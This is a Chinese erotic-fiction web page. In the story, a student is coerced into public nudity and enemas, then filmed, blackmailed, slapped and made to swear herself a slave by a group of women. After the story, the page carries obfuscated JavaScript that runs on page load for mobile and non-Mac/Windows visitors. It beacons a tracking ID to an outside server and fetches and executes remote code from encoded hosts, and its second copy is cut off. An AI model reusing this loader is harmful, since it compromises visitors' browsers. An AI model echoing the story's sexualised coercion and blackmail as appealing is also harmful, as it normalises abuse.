图片载入中

小刘同学的出卖

特大字】 【大字】 【中字】 【小字

“真真,明天别吃东西,把屁眼弄干净,下午带你出去玩。”小刘冷笑着跟我说。

现在是周五的晚上,很多人正准备着回家,也包括我。小刘的突然袭击让我不寒而栗,我知道这是命令,只好“嗯”了一声答应了下来,这个变态不知道明天又要怎么折磨我了。我匆匆的给家里打了个电话,就上床休息了,为了明天不至于被玩的太惨,我需要保持体力。

早晨醒来,宿舍已经没人了。因为现在我已经习惯裸睡,所以连脱衣服都省了,直接光着身子来到洗手间,先拿出一块小香皂塞进屁眼里,由于小刘的调教,我的肛门对香皂和洗发液的耐受力越来越强了,现在我的屁眼含着小香皂,已经不会那么快产生强烈的便意了,借此机会,我先梳妆打扮了一番。别看我喜欢光着屁股裸奔,但是在别人面前,女人的爱美之心还是有的。过了一会,我弄的差不多了,便意也愈来愈强烈了,我蹲下来,开始享受排泄给我带来的快感。之后,我又用洗发液反复清洗了几遍,直到我的屁眼可以吹出香喷喷的气泡泡,我才停下来,看了看时间,已经十二点多了,正准备休息一下,小刘进来了。

“一大早就迫不及待的发浪了······”小刘看着我赤身裸体的从卫生间出来,嘲讽了我一番。在小刘的要求下,我躬下身子,把阴部和肛门抬高,让她检查,她拿出我的牙刷,一下子插进我的肛门里,反复抽插一番,然后又捅进我的阴道里左蹭右蹭,幸好我早晨清洗的干净,没有残留粪便,不过洗发液对我阴部的刺激,让我很快就淫液横溢,水流不止。小刘又把我的洗发液拿出来,全部灌进我张得大大的屁眼里,用一块大肥皂把我的屁眼堵住,随手又把洗发液的瓶子塞进了我的阴道,我可怜的下体就这样被塞得满满。起身之后,在小刘的要求下,我里面真空,外面套上一件风衣,脚上踩着一双凉拖鞋,准备出门了。大概是因为我们要去比较远的地方,小刘没有要求我把风衣的扣子解开,也许她怕跟着我一起丢人吧,总之,我的这身装扮还算正常,风衣虽然不长,将将盖过我的屁股,不过小心一点倒也不太担心走光。就这样,我开始了今天的冒险之旅。

我们来到公交车站,坐上了开往郊区的一趟车,周末公交车上的人不是很多,随着车逐渐远离市区,车上的人也越来越少。我们坐在汽车的最后一排,看着人不断的减少,我想象着小刘会让我脱光衣服,面对窗外用洗发水瓶自慰,或者让大屁股朝外,把一肚子的洗发液喷射而出。但是今天的小刘很不正常,似乎并没有让我在这出丑的意思,我猜变态的她一定有让我更难堪的节目在等着我。我扭头看了她一眼,“怎么了?忍不住又要犯贱了?真是个变态。等下一定要你这骚货过足瘾。”小刘像是猜到了我的想法,被她侮辱一番,我下体的淫水又开始泛滥了。

我们一直坐到终点站,此时车上只剩下我们两人了。下了车,我们又走了大约十分钟,穿过一片坟地,才远远的看到一片楼房,我跟着小刘径直的走了进去,原来这是一个职业学校,看来这就是今天要我疯狂的地方了。这个学校似乎不是很大,因为远远看去楼不是很多,进门直接面对的就是主楼,六层楼,不是很高但很长的一栋楼,像屏风一样让外人无法看到学校深处,楼的两侧连着两个辅楼,也就四层的样子,比主楼矮一些,辅楼与主楼之间通过二层的一个全开放式的通道相连,三栋楼都有一个门面向校门,这让我想起了电视上北京的四合院。奇怪的是校门没有完全开放,只有一个侧门,虽有一个保安亭,但里面一个人也没有。小刘带我从主楼正门进入,直接面对正门的就是一个很宽敞的楼梯,我们径直上到六楼,进了靠近主楼左边尽头的一间教室。学校主楼是由无数个小教室组成的,教室有前后两个门,很像中学教室,楼的左侧尽头还有一个楼梯,大概右侧应该也有一个吧。也许是周末的原因,我们从进来就一个人也没遇上,教室里倒是有学生,不过也非常少,我们从后门进入,坐在最后一排靠近窗口一个位置。

“看来一瓶洗发水已经满足不了你的屁眼了。”小刘看着我若无其事的坐在她旁边轻声说道。

的确,虽然肚子还是有便意,但是我已经能够轻松忍受住了,真不知道我变态的身体的极限是什么。

“那把衣服脱光,去男厕所把你屁眼里的东西排净,然后灌满水回来。”小刘冷冷的递给我一个胶管。

其实我已经猜到会让我在教室里脱光了,这个对“久经锻炼”的我没什么难度,而且这个教室人也不多,也不是自己的学校。不过去男厕所排泄灌肠还是让我心头一紧,要知道这对我是个完全陌生的环境,我甚至都不知道男厕所在哪。不过小刘的命令我是必须接受的,边想着,一边不自觉的我已经把身上唯一的一件衣服扒了下来放到桌子上,脚轻轻的抽离凉拖鞋踩在教室的地上,站起身向后门走去,这时我才发现这栋楼的地面全是地板结构,虽然赤脚走路可以不发出声音,但每踩一下木板的“吱吱”声还是让我心惊肉跳,此时前排的同学扭过头来就一定能发现一个裸体女人正蹑手蹑脚的走在教室后面。

走到空荡荡的走廊里我一颗悬着的心才稍微平静一下,比起教室,虽然在这遇到意外的可能性更大,但这里终归不会被人一看就看到我。我好好的考虑了一下自己的处境:这栋楼全部是小教室,而且这层小教室的前后门都开着,这样如果有人来到走廊,我可以躲到小教室里面去,不过一定要小心不要误入前门,看来只要小心一点,应该不算是很难的任务,终归今天这里的人很少的说。据我猜测,厕所应该在主楼的两侧,我向周围看了看,果然,“呵呵呵,我真是天才。”我暗自得意的走过去才发现,这只有女厕所,失算了,不过我倒不是很失望,反倒有些兴奋:如果要是那么简单也太不刺激了。我小心翼翼的开始向主楼的右侧行进了,沿途我观察着这些小教室,发现这些教室并不是都朝向一侧,而是两两相对的,这样我往教室里躲的时候就一定要万分小心才行了。很顺利的走到了主楼中间的楼梯,突然听见从楼梯口传来声音,吓得我一下子就贴着墙壁站住了,正要往教室里钻的时候,我听出这个声音来自别的楼层,而且是有学生下楼,我一颗紧绷的心稍稍放松了一下,下体也随之流出不少淫液,阴道内的洗发水瓶有些向外滑了,我赶紧用手向里推了推,防止一下子掉出来。我向四周看了看,走廊也不是久留之地,不知哪个教室随时都有可能有人出来。我加快步伐向另一侧进发了,也许是我运气好,一路顺利的来到这侧,果然跟我猜测的一样,这侧也有一个楼梯,当然也有男厕所。正在我盘算着是否先潜伏起来看看男厕所会不会有人时,楼梯口传来了脚步声,脚步很轻,当我听到声音时,人应该已经上到五楼了,没有办法,我硬着头皮冲进了男厕所,幸好没有人在小便。地上的尿液混着鞋底带进来的泥土,脏兮兮的。我仔细的选择着落脚点,虽然裸奔的刺激冲击着我的理智,但残余的一点理智还是让我不愿意踩着尿液混合的泥土。耳边传来便池冲水的声音,我刚放下的心又悬了起来,此时我也没办法顾忌干净与否,迅速冲向一个便池,地上的尿液溅的我下肢湿漉漉的,在我关上便池门的一瞬间,我听见另一个门打开的声音,此刻,连续的刺激加上刚才跑动时洗发水瓶对我阴道的摩擦,让我一下子达到高潮。

我软软的蹲在便池上,屁眼里的洗发液如同打开的水龙头喷射而出。高潮过后,我的理智开始回归,胆子也变小了,现在我只想赶快回去把衣服穿上。“对了,还要灌肠呢,”我差点忘了我还有一个任务没有完成。“完了,堵我屁眼的肥皂在刚才强大的冲击力下不知冲到哪去了。”这就意味这一会灌肠之后我只能依靠自己的肛门括约肌来维持屁眼里的水不流出来了。在便池好好冷静了一下,同时确认了厕所里再也没有别人后,我小心翼翼的探出头,走到洗手池前,我把胶管的一头塞进了自己的屁眼,另一头套上水龙头,一点点的放开截门,开始灌肠了。冰冷的水流让我越发冷静了,我仔细的听着门外的一举一动,感受着屁眼一点一点被涨满给我带来的痛苦和快感。终于,我觉得再也无法忍受了,关上水龙头,拔下胶管,在肛门内压力的作用下,胶管的一头开始喷水了,我无奈的举高胶管,并将一头系死,现在我也只好用这根细细的胶管当做我临时的肛门塞了。

外面始终没有声音,我鼓足勇气打开厕所门,向外张望了一下,走廊还是静悄悄的空无一人,我开始回程的道路了。由于刚才高潮,我的下体已经淫水泛滥,润滑无比了,洗发液瓶已经很难靠我夹紧双腿就能维持,我只好一只手堵住下体,另一只手扶着胶管堵住肛门,这种狼狈的样子要是让人看见了······我真的连想都不敢想,只希望能顺利的走回教室。屁眼虽然有胶管堵着,但水还是顺着我白嫩的大腿向下流着,再加上在男厕所踩到的尿液,现在我的下半身都是湿的,我就这样“一步一个脚印”的走回了教室。

进了教室后门,我发现小刘已经不见了,同时消失的还有我那仅有的一件风衣和我的凉拖。虽然这种情况我也有想过,但是现实真的摆在我面前时,一丝绝望还是涌上心头。我还是走到了座位处,希望能找到一些提示。果然,我的手机藏在了课桌里,我像抓到救命稻草一样打开了手机,翻开手机上的那条短信。不过看完之后,我又一下子坠入了冰窟:“已经回来了吧,屁眼灌了那么多水一定很不舒服吧,坐到讲桌上把水放出来,然后把阴道里的洗发液瓶抽出来,把手机塞进去,躲到厕所里,等我消息。”让我现在这个样子暴露出来,还要排泄,插拔阴部,我真是不如死了算了。不过我变态的身体又开始有了反应,被虐的欲望开始一点点战胜理智了。我环视了下教室,空空的教室里只并排坐着两个女生,我从后门熘出教室,仔细倾听走廊上的动静,静悄悄的一点声音都没有。我盘算一下,放掉我屁眼里的水大概要2分钟,拔出洗发液瓶,插入手机用的时间很少,如果我这样裸体从前面进去,一定会把那两个女生吓呆,然后只要快点,也许能在她们反应过来大叫之前冲出教室,躲进厕所里面去。我在给自己鼓劲,相信我那么多大风大浪都挺过来了,这次老天也一定不会抛弃我的。想到此,我已经轻手轻脚的走到了前门处,我一闭眼,从前门冲到了讲台,坐上去开始释放我屁眼的液体,如我想的一样,我屁眼里的水太多了,至少要2分钟才能放净,借此空隙,我偷看了一下那两个女生,惊讶的是她们并没有被吓呆,反倒很神情自若的拿出手机开始拍摄,这一下我开始手足无措了,很想立刻跳下来逃离此处,但手脚却不听我使唤,一动也不动只是这样任由她们拍下我山洪暴发的场面。渐渐的屁眼里的水快放尽了,我急忙拔出阴道内的洗发液瓶子,把手机插进去,跳下来准备逃走。

“站住,浪够了就要走吗?”一个女孩说道。

我不理她,还是逃走才是最重要的。正当我要跑到门口的时候,突然发现不知从哪冒出来的两个女生已经把前门堵得严严实实了,我急忙开始向后门跑,但那两个坐着的女生已经把通往后门的走道拦死,我被她们堵在了这个教室里。

我打量着眼前的这四个女生,希望能找到一个突破口,最后我发现,自己除了这对奶子还算大,全身各个位置都是那么的娇小,她们别说四个人,就算是一个人我大概也没有任何胜算。

“还想逃跑吗?你要再敢跑,我们就大喊了。”一个女生的话彻底让我打消了逃跑的念头。

“啪”一个清脆的巴掌打在我的脸上,“贱货,刚才那么浪,现在怕了?你不是喜欢给人看吗,我们过来看了,你还敢跑。小骚逼,说,你还跑不跑了?”一个女生开始发威了。

“不敢了,我不敢跑了。”我哭了出来,一是刚才打的巴掌的确很疼,但更主要的是我现在真的害怕了。不过眼泪对女生是没有用的,又上来了两个女生,开始揉捏我的乳头了,而另一个人还在拿着手机拍摄。

“不许哭了,再哭我们就喊别人来了。”虽然那两个女生把我的乳头捏的很疼,但迫于刚才的话,我还是渐渐停止了哭泣。

“求求你们,放过我吧,我下次再也不敢了。”我祈求道。

“哼,刚才的浪劲儿哪去了?放过你?行啊,那就看你让不让我们满意了。”其中一个大姐头的人物说话了,“刚才看你把什么又塞到下面去了?手机吗?”

“是,是手机。”我唯唯诺诺道。

“手机塞到哪里去了啊?”

“塞到我阴道里了。”虽然很羞耻,我还是如实回答了。

“啪”又是一个巴掌,“装什么装,还阴道,你那烂穴也配叫阴道吗,去,坐到讲台上去,让我们好好看看你的那个烂逼。”

我捂着被打的发红的脸,被她们推推嚷嚷的走到了讲台前,爬了上去,正当我要反个身坐下时,那两个一直在玩弄我乳房的女生,又使劲向下拉我的乳头,疼的我这个上半身向下撅了下去,女人最隐秘的两个位置就这样张开的暴露在了四个陌生女生的面前。

“哇,这个女人的逼开的好大哦。”

“是啊,刚才她把那么粗的瓶从这个逼里拔出来了呢。”她们已经把那个洗发水瓶捡起来了。

“她那个包着逼的那两片肉好肥厚哦,剁下来炒了一定很好吃,哈哈哈。”

“别开玩笑了,太恶心了吧。”虽然是开玩笑,但还是吓出我一身冷汗,真怕她们真把我的大阴唇切下来。

“你看,她的屁眼也张的那么大,都快超过你的逼了吧,哈哈哈。”

“去你的。”她们围观着我的下体议论纷纷,我只能趴在讲桌上一定也不动。

“这个贱人的逼和屁眼也真是个奇观了,来,给这两个骚洞一个特写。”我的丑态原来全被她们记录下来了,一个小刘已经害的我那么惨了,真不知道这四个女生会带给我怎样的厄运。对了,不知道小刘在干什么,真希望她能来救我,不过我也知道这就是我的痴心妄想,小刘这时候才不会管我呢。

突然我的阴部一阵麻酥,原来是我的手机震动了,这也吓了这几个女生一跳,她们用手指伸入我的阴道,把我的手机抽了出来,一同喷出的还有我的淫水。

“太恶心了,那么湿,还有一股臭味,贱货,那么喜欢被看啊。”一个女生泄愤似的边说边使劲拍打我的屁股,疼的我眼泪都快下来了。

“骚货,自己拿着手机接电话,想好了再说话。”一个女生把手机递给了我,同时在我乳头上狠狠的掐了一下,我疼得一哆嗦。

是小刘的电话,按照她们的要求,我按下了免提接听,不知道是不是应该向她求救。

“喂,刚才爽吗?看见我放在厕所里的衣服了吗?我先回去了,你自己回来吧。”小刘挂断了电话,连说话的机会都没给我。

“我刚才还纳闷你衣服放哪了,原来还有同伙啊,不过很可惜,她也不能来救你这个骚货了。”她们边说又抢走了我的手机,这下我彻底的任人宰割了。

“走吧,咱们会寝室吧,贱货,起来,跟我一起回去。”我没有选择的爬了起来,准备去厕所拿衣服。

“谁让你拿衣服了?衣服就放在那吧,你就光屁股跟我们走吧。”又过来两个女生捏住我的乳头,拉着我就走,我饱满的乳房被她们拉成了一个长条形,我吃不住疼,也只好跟了过去。

“求求你们,让我穿上衣服吧。”我希望能唤起她们对我的一点点同情。

“骚货,你不是喜欢让别人看你那个烂逼吗,还穿衣服干吗,快走,再不走我们就叫人过来看了。”我最后的一丝幻想破灭了。

我就这样被她们牵着走出了主楼,经过了刚才的折腾,外面的天已经黑了,这的路灯很少,也不是很亮,估计超过10米就什么都看不清了。我光着身子暴露在这昏暗的路灯下,连鞋都没有,室外的地面不像主楼里是木板的,外面的地上都是小石子,硌得我脚非常疼,但她们一点也没有要停下了的意思,反倒加快了步伐,我也只好踉踉跄跄的跟着了。

绕过了主楼,后面是一个大操场,远处灯光点点,我才发现操场的两侧各有两个五层高的教学楼,看上去不像主楼那么古老,不过开灯的教室不多,路的两侧都有大树环绕,她们四人紧紧的围绕在我四周,像怕我跑了似的,其实我这样赤身裸体一丝不挂的怎么也跑不了啊,不过她们四人围着倒是让我很有安全感,一般人就算从我们身边经过,不仔细看也不会注意到我是光着屁股的。走过了操场,前面有一个很高的楼,很新,新楼面对的是一条大路,车笛声此起彼伏,路灯也明显多了起来,这简直跟白天一样了,大概这个才是她们真正的主楼吧,难怪刚才那栋楼前路灯那么少,而且连大门都不开。不过我现在没有心思想这些了,这个地方不仅仅路灯多了,人明显也多了,我都可以看见这个新大楼(以后就称这个为主楼了,原来的那个叫老楼了)前熙熙攘攘的人群了。

“求求你们,别再往前走了,求你们了,别让我这样出去。”我真的不敢再走了,再往前就真成闹市裸奔了。

“你也有怕羞的时候?那么想让人看你的贱逼,这个位置不是正好吗。”话虽那么说,她们还是在快到主楼的一条小道上拐了进去。

继续向前走,路灯虽然没有变少,但人明显减少了,虽然也碰上一两对情侣,但由于有她们四人围着,一般也都没注意。就是有一个男生和我们擦肩而过时,似乎发现了我裸露肩膀,扭头看了我好几眼,紧张得我差点腿一软就瘫坐在地上了。不一会,我们来到了一个八层的n形大楼,这个楼明显是她们的宿舍楼了。我们从两个楼之间穿了过去,这栋楼的入口是在两个纵向的楼和一个横向的楼的交接位置,一共两个入口,她们带我进入的一个门口写着一个大大的“女”字,看来这栋楼还是男女混住的。

“我们坐电梯上去了,你这贱货自己爬楼吧,到801室找我们。”她们已经不怕我再跑了,一来我光着屁股,没有她们的掩护我根本也跑不回去,最主要的是她们已经拍了很多我淫荡的行为,而且我的手机也在她们那,就算我真的跑了,她们也能找到我,而且弄得我身败名裂,至少现在我还只是被她们四个女生抓到了。

“这个楼前三层是男生住,你要是被她们抓住,就留在他们那给他们发泄性欲吧,不过你这骚货是不是正求之不得啊,哈哈哈。”她们侮辱了我一番后上电梯走了,只剩下一个光着屁股,下面流着淫水的变态暴露狂。

我小心翼翼的爬上二楼,发现二楼的门是有透明玻璃的那种,而且经常有男生只穿着小裤衩来回经过。我徘徊在一楼和二楼之间,不过这个位置也是很危险的,随时会有人进来上楼或下楼的。最后,没办法,我只好趴在地上,一点一点的向上爬着走,希望借此减少被看到的几率。我刚到二楼,就听见楼梯口的门“咣”的一声,似乎是有人要出来了,我被吓得呆在了那,连跑的动作都没有做出来。过了一会,一切又恢复了平静,没有人出来,我抬头向上看了看,发现原来二楼的门被从外面锁上了(防止男生上到女生宿舍),饱受惊吓的我才稍稍放下了心,继续向上爬,才发现刚才我呆的地方地上已经湿了一片,看来我刚刚又小便失禁了。

我连滚带爬的终于上到了八层,这层也有很多女生出来进去的,我躲在八楼门口好久,根本没有没人的时候,没办法了,我选了一个门口暂时没人的时机,硬着头皮进去了。没走两步就发现原来这个位置是水房和厕所,很多人都要来这大小便,洗澡,洗衣服。从这往前走,路过的女生虽然都会扭头看我两眼,但是终于也没碰上什么危险,来到了801室。我敲了下门,就开门进去了,那四个女生都换好了睡衣一起坐在一个人的电脑前看着什么。

“怎么那么慢,我还以为你这个骚货跑了呢。”

这个寝室很小,放了四张床,就是上铺是床,下铺是书桌的那种,中间还放了一张长条桌子,大概是让学生一起吃饭用的。我关上门,走到她们跟前,发现她们围坐着的电脑正在放A片,而片子的主角就是我,看着片中赤身裸体的我坐在讲桌上,屁眼里的水像喷泉一般涌出,我的下体竟又不由自主的开始湿了。

“好臭啊,你的骚逼怎么味儿那么重啊。”

“你快去冲个澡,好好把你前后的逼穴洗干净了。”说着,我又被她们推到了走廊上,连条毛巾都没给我。

水房我是认识了,只好又这样赤条条的去水房了,迎面走过的女生异样的眼神看得我无地自容,要是有个地缝钻进去就好了。我快步跑到水房,好好的冲洗了一下我全身,也让自己冷静一下,为什么我会落到如此田地呢,也不知道她们会怎样处置我,不过似乎她们也不想把我揭露出来,大概跟小刘一样只是希望有个虐待对象吧,哎,真恨自己为什么那么变态,被别人拍了那么多不堪入目的镜头,抓住了小辫子,真不知道自己的将来会是怎样的。

在这种冥想中,我洗好澡,回到了她们寝室。

“贱货,洗完了?坐到桌子上去。”我刚进门就被命令道。

“把腿张大点,把你那个骚逼完全露出来。”她们拿出一个DV,看来这次是真的要给我拍片了。虽然很羞辱,但是现在的我也完全没有选择的余地啊。

“用手托住你那个大奶子,别说,这个贱货的奶子还是满大的。” 我这个淫荡的身体似乎很期待被她们虐待,刚刚洗完的下体有开始淫水泛滥了。

“我们现在问你什么,你就要老老实实的回答,听见了吗?把你那个烂逼再露出来点,用手揉捏你的奶子,快点,别磨磨蹭蹭的。要微笑的面对镜头,你这哭丧着脸谁爱看,快笑,不好好配合就把你扔出去,让你光着屁股回家。”没对她们的威胁,我只好露出笑容,不过我想我的笑一定比哭还难看。

“你叫什么名字,哪个学校的?”

“我叫王真真,华师大的。”

“咦,淫荡的女教师哦,将来会不会在你学生面前裸体教课啊,哈哈哈。”又是一阵羞辱,但是似乎真的有点幻想呢,我真是个变态啊。

之后她们把我的家庭地址啦,什么时候开始露出啦,阴道肛门的极限啦之类的所有隐私都问了出来,总之,我对她们已经没有任何秘密可言了,我只能任她们玩弄了。

“看在你今天表现还可以的份上,我们先不把你这个骚货光屁股送到保安那去,不过你要对着镜头宣誓,做我们四个人的奴隶,供我们玩弄,然后再自慰到高潮。”最后她们终于提出了要求,虽然我早已想到会是这种结果,但我的内心还是很挣扎,不知道她们将来会让我做什么变态的事情。

“快宣誓吧,贱货,看你的骚逼都快流成河了,哈哈哈。”我的身体无情的出卖了我。

“我宣誓,我愿意成为主人们的奴隶,供主人们随意玩弄。”真不知道我是被逼的还是我心甘情愿说出来的这些话。当我接过她们递给我的可乐瓶抽插我的阴道和肛门时,面对镜头的耻辱感,让我很快就高潮了。

“以后就叫你小骚逼吧,哈哈哈,怎么样啊,好听吧。”高潮过后昏昏沉沉的我只听到这几句话就睡着了。

再次醒过来已经是周日中午了,太阳照得我的眼睛都睁不开,好希望昨天的经历都是一场梦啊,但是我现在的处境又很快很明确的告诉我一切都不是梦,都是现实。现在的我被绑在了桌子上,立在她们宿舍的阳台上,当然是一丝不挂的。远处操场上的喧哗声让我一下子惊醒过来,另一侧就是那栋五层高的教学楼,不过好在离着都很远,我现在的样子倒是不会被别人看见。

“小骚逼,睡醒了?”阳台门开开,她们四个人都在。

“昨天晚上浪够了就睡觉了,还睡的那么死,把你捆桌子上放到阳台都不知道,真的是母狗都不如啊。”原来是这么回事啊。

“饿了吧?靠着桌角自慰到高潮就赏给你吃的。”她们给我松绑,让我把桌子抬了进来。

我其实还不饿,不过我知道如果不按照她们说的做,我会遭到更大的虐待。我开始揉捏我的一对饱满的乳房,用我的阴蒂不断摩擦着桌角,她们也把DV打开,继续忠实的记录着我的淫荡行为。也许是刚睡醒的原因,不管我怎么摩擦,我这个变态的身体今天都不能兴奋起来。

“小骚逼,是不是看的人太少了,你不爽啊。”她们不耐烦了。

“骚货,搬着桌子跟我们过来。”她们打开门,带着我来到了这栋楼的阳台,这个阳台面向操场,一侧是那个教学楼,另一侧则是宿舍楼的另外一栋,下面不断有学生过来过去。

“站到桌子上,用这个自慰。”一个烤白薯放到了我的手上,“快点,把下面嘴喂饱了,再喂上面的嘴。”原来这个就是我的中午饭啊。无奈,我站到桌子上,用这个烤白薯开始蹭我的阴部和肛门,也许是周围嘈杂的环境让我有了感觉,我想象着自己站在人群中间,赤身裸体的用一个烤白薯自慰,周围的人指指点点的观赏着我,变态,神经病,骚货,贱逼的辱骂声不绝于耳,我的淫水开始泛滥了,我高喊着:都来看我这个变态吧,快来看我的骚逼啊,看我赤条条的给大家自慰。在这种癫狂的状态下我下体的淫液喷溅,高潮来临了。

再次回到屋里,我还是躺在桌子上,双腿被夸张的左右分开着,下体大开。白薯被递到我的手里,“我吃不下。”我还没从兴奋的状态中恢复过来,还没有食欲。

“那就舔,把你的淫液都给舔干净了。”我闻着自己下体的腥臊味道,伸出舌头仔细的品尝自己的淫液,在这种淫靡的状态下,我不知不觉的又昏睡过去。

不知过了多久,我再次醒来时,天已经开始暗下来了,我还是赤身裸体的躺在桌子上。

“求求你们,让我回去吧,我明天还要上课了。”我勉强爬起来祈求道。

突然门打开了,我本能的用手挡住自己的胸部,却发现小刘进来了,是的,我再次仔细看了一眼,的确是小刘,难道是小刘来救我了?我疑惑的看着她。

“小婩,怎么样,我没骗你吧,王真真同学果然又骚又贱吧。”小刘连都没看我,在跟她们打招唿。

“是啊,一开始这个骚货把小戴、小剑和小毕都吓坏了呢,不过这个小骚逼真的很贱,能有这么一个贱货给我们玩弄,真不错啊。”我终于知道她们叫什么了,不过我还是不明白小刘为什么会在这。

“还不明白啊,看来你真是胸大无脑,只知道犯贱啊,”看着我疑惑的表情,小刘笑嘻嘻的解释道:“我和小婩是一起长大的,看你那么喜欢暴露,我干脆就多找几个人一起观赏你的变态,能被那么多人虐待你是不是也很开心啊,不用谢我了。”我终于明白了,原来一切的一切都是小刘安排的。

“我们现在就放你回学校,不过以后每个周末都要过来,我们会好好招待你的,平时也要随叫随到才行哦,别忘了你的奴隶宣言啊,哈哈哈。”

以后的生活真的不能由自己了,不过这种生活是不是正是我期望的呢?

我无力跟小刘计较了,穿上她给我带来的风衣,和她一起返回了学校。


上一篇:森之千手(09)

下一篇:当绿帽遇上红杏(15)


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new 